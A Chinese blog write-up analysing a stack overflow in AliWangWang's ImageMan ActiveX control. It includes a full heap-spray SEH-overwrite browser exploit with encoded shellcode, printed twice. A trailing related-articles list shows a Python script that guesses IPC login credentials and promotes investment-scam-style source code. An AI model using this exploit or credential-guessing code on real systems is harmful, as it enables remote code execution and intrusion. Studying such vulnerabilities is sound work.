阿里旺旺ActiveX控件ImageMan溢出

Welcome to Windows pwn~

环境搭建:

虚拟机:winxp sp3 32位

再装一些常用的tools,olldby,immundbg,windbg这些。

漏洞版本的软件:AliIM2010_taobao(6.50.00C)

PoC crash 分析

运行PoC,windbg附加IE浏览器:

在这里插入图片描述

能知道是ImageMan.dll的问题。

此时kb查看:

在这里插入图片描述

根据

1003406b 8807            mov     byte ptr [edi],al          ds:0023:00130000=41

在IDA中看:

在这里插入图片描述

正是_mbsnbcpy函数。在这里插入图片描述

回溯调用点也很简单

int __stdcall sub_1001AB7F(int a1, LPCWCH lpWideCharStr, int a3)
{
  const OLECHAR *v4; // eax
  char v5[4]; // [esp+Ch] [ebp-314h] BYREF
  CHAR String; // [esp+10h] [ebp-310h] BYREF
  char v7[256]; // [esp+11h] [ebp-30Fh] BYREF
  __int16 v8; // [esp+111h] [ebp-20Fh]
  char v9; // [esp+113h] [ebp-20Dh]
  char *v10; // [esp+114h] [ebp-20Ch]
  CHAR MultiByteStr; // [esp+118h] [ebp-208h] BYREF
  char v12[256]; // [esp+119h] [ebp-207h] BYREF
  __int16 v13; // [esp+219h] [ebp-107h]
  char v14; // [esp+21Bh] [ebp-105h]
  unsigned __int8 Dest; // [esp+21Ch] [ebp-104h] BYREF
  char v16[256]; // [esp+21Dh] [ebp-103h] BYREF
  __int16 v17; // [esp+31Dh] [ebp-3h]
  char v18; // [esp+31Fh] [ebp-1h]

  MultiByteStr = 0;
  memset(v12, 0, sizeof(v12));
  v13 = 0;
  v14 = 0;
  WideCharToMultiByte(0, 0, lpWideCharStr, -1, &MultiByteStr, 260, 0, 0);
  String = 0;
  memset(v7, 0, sizeof(v7));
  v8 = 0;
  v9 = 0;
  v10 = strrchr(&MultiByteStr, '\\');
  Dest = 0;
  memset(v16, 0, sizeof(v16));
  v17 = 0;
  v18 = 0;
  sub_1001C310(&Dest, (unsigned __int8 *)&MultiByteStr, v10 - &MultiByteStr + 1);
  sub_100271FE((char *)&Dest);
  sub_10018BA1(&MultiByteStr, &String);
  sub_1001BFE0(&String);
  if ( a3 )
  {
    v4 = (const OLECHAR *)std::_Iterator_base_aux::_Getmycont((std::_Iterator_base_aux *)v5);
    *(_DWORD *)a3 = SysAllocString(v4);
  }
  sub_1001C040(v5);
  return 0;
}

重点在 v10 = strrchr(&MultiByteStr, '\\');这里,按poc的写法,我们没有斜杠,那么v10就成了意料之外的值,这里可以具体调试看看后面调用sub_1001C310(&Dest, (unsigned __int8 *)&MultiByteStr, v10 - &MultiByteStr + 1);时的count值为多少。

这里用ollydbg,按照教程的方法,ALT+E找到可执行模块OLEAUT32,双击进入,然后CTRL+N找到函数DispCallFunc,在第一个CALL ECX下断点。调试。

在这里插入图片描述

打开PoC,断下后:在这里插入图片描述

这个地址正是刚刚分析的函数的入口地址:

在这里插入图片描述

调试可以看到,_strrchr结束后,结果是一个空指针:在这里插入图片描述

这样就导致了0(null)-&Multi…+1为负数,由于size_t Count,所以会被转为一个大数!!!

在这里插入图片描述

这就导致了sub_1001C310传入的Count远大于控制的260,造成了栈溢出。。

感觉不是fuzz的话也想不到这里会有个漏洞。。。

Exp retaddr? SEH!

上面分析了poc,下面调试看看exp。

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> 
<script>

shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
 
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
 
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
 
for( counter=0; counter<200; counter++) 
	memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) 
	s+=unescape("%0D%0D%0D%0D");

target.AutoPic(s,"defaultV");

</script>
</body>
</html>

用了heapSpray,正好调试看看。

首先IE加载exp.html,效果:

在这里插入图片描述

下面还是ollydbg附加调试来分析。

但找在哪里触发的exp花了很久。。。

因为在copy结束返回之前就触发了。。。

是覆盖的SEH:?因为最后看到是在内核raiseException触发的。

呃,这些只是看过理论,没有实操过。。

跟着这篇看看

https://www.cnblogs.com/ichunqiu/p/8422987.html

exp采用的是覆盖SEH的打法。

我们跟到copy的地方,看SEH链:(直接ollydbg插件看)

在这里插入图片描述

而我们的edi是0012E14C左右,也就是说Dest地址是低于SEH链的地址的。

所以我们通过溢出覆盖SEH链的处理程序地址为0D0D0D0D,然后继续覆盖,覆盖到不可写区域,触发异常;

结合HeapSpray和nop滑板,就能执行shellcode.

据此来分析exp代码。

要注意一个点,js中的长度是按照宽字符计算的,所以我们转换成C的要x2。

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> 
<script>

shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
// size = 0xA0
nops=unescape('%u9090%u9090'); // size = 0x04
headersize =20; // size = 0x28
slackspace= headersize + shellcode.length; // size = 0xC8; slackspace = 100
 
while(nops.length < slackspace) nops+= nops; // 2*8 = 0x100
fillblock= nops.substring(0, slackspace); // size = 0xC8
block= nops.substring(0, nops.length- slackspace); // size = 0x38
 
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; // size = 0xFFEAC
memory=new Array(); // HeapSpray 利用js能够申请堆内存
 
for( counter=0; counter<200; counter++) 
	memory[counter]= block + shellcode; // 保证 nops + shellcode 能够覆盖到0D0D0D0D
s='';
for( counter=0; counter<=1000; counter++) 
	s+=unescape("%0D%0D%0D%0D"); // 覆盖SEH

target.AutoPic(s,"defaultV");

</script>
</body>
</html>

我们F9,触发exp时看此时的SEH链:

在这里插入图片描述

可以看到12E640被覆盖为0D0D0D0D了

在这里插入图片描述

至此,SEH的打法已经大概懂了。

接下来思考:为什么不能打返回地址:?

注意到这个:

WideCharToMultiByte

在这里插入图片描述

看参数表知道,这个0x104是&MultiByteStr指向的缓冲区的最大值!

也就是规定了最大是0x104,也就是为什么后面size_t转换出的大数触发了异常。

而要覆盖栈底的返回地址的话,0x104是不够的。

那为什么SEH可以覆盖呢?

这里就是一个很巧的点:

DestMultiByteStr刚好差0x104的offset。

也就是我们sub_1001C310MultiByteStr0x104个0D复制到Dest后,由于size_t转换出的大数,会继续复制,但此时因为Dest已经被复制为0D…0D了,所以会继续复制0D!!!

如果DestMultiByteStr不是刚好差0x104的话,复制完后就会有一段真空(不是0D的其他数据),虽然感觉真空不大的话也能利用。

总之,很巧妙的溢出覆盖了SEH,而要打返回地址的话是不行的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/904420.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

新闻记者职业资格考试备考资料包分享(重要考点)!

24年新闻记者职业资格考试时间&#xff1a;11月2日&#xff0c;今天给大家整理的是新闻记者职业资格考试备考资料包&#xff08;重要考点&#xff09;23版&#xff0c;可以更有重点的进行复习~ 「新闻记者职业资格」 资料链接&#xff1a; https://pan.quark.cn/s/965044c95…

三菱FX5U CPU 存储卡引导运行操作

在CPU模块的电源0FF->ON时或复位时&#xff0c;将保存在SD存储卡内的文件传送至CPU模块自动判别的传送目标存储器。 引导运行的步骤如下所示。 1、进行引导文件设置。 2、安装SD存储卡。 3、将引导文件设置及引导文件写入至SD存储卡中。 4、CPU模块的电源0FF→>0N或复位…

【学习】ZLMediaKit试用

服务端准备 下载ZLMediaKit压缩包&#xff0c;解压 /linux/Release路径下启用MediaServer ./MediaServer -d &/linux/Release路径下config.ini更改配置 也可以将进入web控制台 rtmp默认端口1935, rtsp默认端口554,http默认端口80, SSL默认端口443 进入web控制台 http…

域渗透AD渗透攻击利用 python脚本攻击之IPC连接 以及 python生成exe可执行程序讲解方式方法

Python脚本批量检测ipc连接 import os, timeips [192.168.1.121,192.168.1.8 ] users {administrator,hack,hack1,test, } passs {123qq.com,456qq.com,Admin12345 } for ip in ips:for user in users:for mima in passs:exec1 "net use \\" "\\" i…

基于springboot小区物联网平台源码

小区物联网平台是一个专为小区硬件管理设计的物联网管理平台&#xff0c;其核心功能在于与各大厂商的门禁设备、道闸设备、监控设备、智能锁以及充电桩等进行高效对接。该平台支持HTTP、MQTT、ComNet等多种协议&#xff0c;以便轻松实现与各大小区云平台的互联互通。 目前&…

Moveit-轨迹优化

mvoeit轨迹周期不固定的问题&#xff0c;以及我们希望对moveit规划出来的轨迹进一步优化的项目需求 首先看一个关节角运动的python函数&#xff0c;通过这个函数我们可以实现机械臂从当前位姿运动到设定位姿的功能 #用于控制机械臂移动到目标位置&#xff0c;接受三个参数 #t…

高效实现用友BIP与吉客云的数据集成方案案例

用友BIP数据集成到吉客云的技术案例分享 在企业信息化建设中&#xff0c;数据的高效流动和准确对接是实现业务协同的重要基础。本文将重点介绍一个实际运行的系统对接集成案例&#xff1a;如何通过轻易云数据集成平台&#xff0c;将用友BIP的数据无缝集成到吉客云中&#xff0…

Golang高级语法-工具链

Golang工具链是一个强大的工具集&#xff0c;可以帮助开发人员管理和构建Golang应用程序&#xff0c;包括编译、链接、测试、代码分析、文档生成等。本文将介绍Golang工具链的基本用法和示例代码&#xff0c;让您更好地了解和使用它。 1 环境 在开始之前&#xff0c;您需要安装…

中间件安全(三)

本文仅作为学习参考使用&#xff0c;本文作者对任何使用本文进行渗透攻击破坏不负任何责任。 前言: 本文主要讲解apache命令执行漏洞&#xff08;cve_2021_41773&#xff09;。 靶场链接&#xff1a;Vulfocus 漏洞威胁分析平台 一&#xff0c;漏洞简介。 cve_2021_41773漏洞…

双十一我都入手了啥大件?这几款超值好物分享给你

​马上就到一年一度的“双11”大促&#xff0c;简单与大家分享&#xff0c;最近自己买过或者是看好的生活好物。以数码为主&#xff0c;平常的一点生活会提及一些。 耳机党必备&#xff0c;听歌不伤耳朵&#xff01;——南卡OE MIX开放式耳机 一句话推荐&#xff1a;百元旗舰…

PHP海外矿物矿机理财投资源码-金融理财投资源码

PHP海外矿物矿机理财投资源码/金融理财投资源码 海外矿物矿机理财投资源码 测试不错,可以做其他产品理财,功能都没啥太大问题

持续更新...记录

一、Random类 1、构造方法&#xff1a; ①有参&#xff1a;通过指定种子数进行创建 &#xff08;使用相同的种子数创建多个Random对象&#xff0c;这些对象生成的随机数序列将完全相同‌&#xff09; &#xff08;适用于需要可重复生成相同随机数序列的场景&#xff0c;如科学…

Redis项目中应用

1. Redis简介 Redis是一个基于内存的key-value结构数据库。Redis 是互联网技术领域使用最为广泛的存储中间件。 官网&#xff1a;https://redis.io 中文网&#xff1a;Redis中文网 2. Redis下载与安装 2.1 Redis下载 Redis安装包分为windows版和Linux版&#xff1a; Wind…

cursor连接远程jupyter

cursor的步骤跟vscode应该是基本一样的&#xff0c;主要需要两个插件&#xff0c;一个是remote-ssh&#xff0c;另一个是jupyter 第一步 首先连接远程的ssh&#xff0c;因为我已经新建好了&#xff0c;所以直接选207&#xff0c;没有连接过的就选Add New SSH Host&#xff…

9款热门CRM客户关系管理系统大盘点

在当今竞争激烈的商业环境中&#xff0c;客户关系管理&#xff08;CRM&#xff09;系统已成为企业不可或缺的工具。CRM系统不仅帮助企业管理客户信息&#xff0c;还能提高销售效率、改善客户服务、增强客户满意度。本文将为您盘点9款热门的CRM客户关系管理系统&#xff0c;并重…

IMX6ULL裸机-汇编_反汇编_机器码

程序处理的4个步骤 我们编写的C程序是不能直接在ARM等平台上运行的&#xff0c;必须经过一系列的程序处理才可以&#xff0c;我们的第一个LED程序涉及两个文件&#xff1a;start.S、main.c&#xff0c;它们的处理过程如下&#xff1a; 对于汇编程序&#xff0c;经过汇编之后&a…

【Unity】游戏UI中添加粒子特效导致穿层问题的解决

这里介绍一下简易的ui系统中&#xff0c;添加粒子特效导致的穿层问题 首先是在ui界面中添加粒子特效预制体&#xff0c;这个时候&#xff0c;控制这个粒子显示层级的有两个方面 上图中&#xff0c;如果你的Sorting Layer ID的值&#xff08;Layer排序&#xff09;是大于当前C…

SAP 根据不同生产版本创建销售预测简介

SAP 根据不同生产版本创建销售预测简介 业务场景前台操作1、创建BOM2、创建工艺路线3、创建生产版本4、创建销售预测5、调整销售预测6、查看物料需求业务场景 很多工厂一个物料可能会存在多个BOM,当有多个BOM存在的情况下就会存在多个生产版本,当创建计划独立需求的时候,系…

STM32 RTC 驱动代码(解决了使用HAL库函数导致的复位或者掉电后导致RTC年月日日期清零的问题)

问题背景&#xff1a;在RTC中断里面使用HAL库HAL_RTC_GetDate()和HAL_RTC_GetTime()来获取RTC时间日期。 源码如下图&#xff1a; 问题描述&#xff1a;单片机断电或者复位后的时分秒的时间可以接上&#xff0c;但年月日的日期就会被清零。如图&#xff1a; 导致问题的根本原因…

SpringBoot3+SpringSecurity6基于若依系统整合自定义登录流程

SpringBoot3SpringSecurity6基于若依系统整合自定义登录流程 问题背景 在做项目时遇到了要对接统一认证的需求&#xff0c;但是由于框架的不兼容性&#xff08;我们项目是springboot3&#xff0c;jdk17&#xff0c;springsecurity6.1.5&#xff09;等因素&#xff0c;不得不使…